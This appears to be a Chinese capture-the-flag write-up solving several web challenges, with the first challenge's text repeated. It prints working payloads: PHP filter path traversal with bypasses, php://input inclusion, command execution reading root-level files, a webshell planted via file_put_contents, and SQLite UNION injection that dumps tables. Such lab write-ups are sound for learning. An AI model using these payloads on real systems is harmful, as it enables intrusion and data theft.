polar签到题
打开题目发现提示得是“出题人的弟弟”

在请求包中发现cookie有一个didi属性值是no,这里把值改成yes发送

结果base64解码得到./data/index.php,访问得到一段源码

这里用php伪协议+双写绕过,得到一段base64编码后的字符串
payload:?file=php://filter/convert.base64-encode/resource=…/./…/./…/./…/./flag

解码后得到flag
加载过慢请开启缓存 浏览器默认开启
打开题目发现提示得是“出题人的弟弟”

在请求包中发现cookie有一个didi属性值是no,这里把值改成yes发送

结果base64解码得到./data/index.php,访问得到一段源码

这里用php伪协议+双写绕过,得到一段base64编码后的字符串
payload:?file=php://filter/convert.base64-encode/resource=…/./…/./…/./…/./flag

解码后得到flag
在源码中可以发现一段对源码的验证语句,可以通过解密得到密码

解码过程:
第1步逆向:
Base64解码 SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU=
第2步逆向:
这一步是 btoa(‘aB3’ + encoded + ‘qW9’).substr(2) 对第1步结果Base64解码 得到完整字符串,前面补回2个字符 去掉开头的”aB3”和结尾的”qW9”
第3步逆向:
这一步是 btoa(encoded.split(‘’).reverse().join(‘’)) 对第2步结果Base64解码 将字符串反转
第4步逆向:
这一步是 btoa(encoded + ‘xH7jK’).slice(3) 对第3步结果Base64解码 开头补回3个字符 去掉结尾的”xH7jK”
第5步逆向:
最后Base64解码,得到T17316
输入密码发现需要ctf-show-brower才能登录

抓包修改User-Agent

f12查看源码发现密码被base64加密

解码得到密码

登录提示只能ctf-show-brower登录

这里抓包修改(靶场默认开启https,删除s切换回http再抓包)

发送请求包得到flag

打开题目发现有很多商品要积分换

修改源码尝试从前端修改积分

将所有能换的换完得到一个文件暂时不知道作用,店主的秘密无法兑换查看前端代码也没找到办法

尝试扫目录,发现admin.php

查看admin.php出现管理员界面

猜测刚刚的txt文件可能是密码字典抓包爆破一下

成功得到密码登录到后台

查看店主的密码发现不让查看,发现cookie中有个user属性修改为Squirtle 看看能不能查看密码

修改后请求得到flag

打开题目网页中没有找到有用信息,查看响应发现有应该hint参数

Base32解码得到/n0_0ne_f1nd_m3/

查看得到一段源码

构造payload:
GET: ?text=php://input&file=php://filter/read=string.rot13/resource=imposible.php
POST: welcome to the 504sys
得到一段加密过的flag
``
用rot13解码得到flag
``
方法1:
?url=echo%20ls /;

在根目录发现flag直接cat
?url=echo cat /f*;

方法2:用system();执行命令步骤同上
?url=system(‘ls /‘);
?url=system(‘cat /flllllaaaaaaggggggg’);
方法3:写木马
?url=file_put_contents(‘1.php’,’‘);构造木马文件,蚁剑连接

在根目录找到flag

题目给了个搜索框
``
输入' or '1'='1发现输出了所有可搜索内容,证明存在sql注入
``
用' union select 1,2,3--确定列数
``
测试发现用SQLite数据库的命令发现可以被执行,用’ union select 1,group_concat(tbl_name),3 from sqlite_master where type=’table’–获取表名发现flaggggggggggg

用’ union select 1,sql,3 from sqlite_master where tbl_name=’flaggggggggggg’–查询得到flag列

用’ union select 1,flag,3 from flaggggggggggg–得到flag
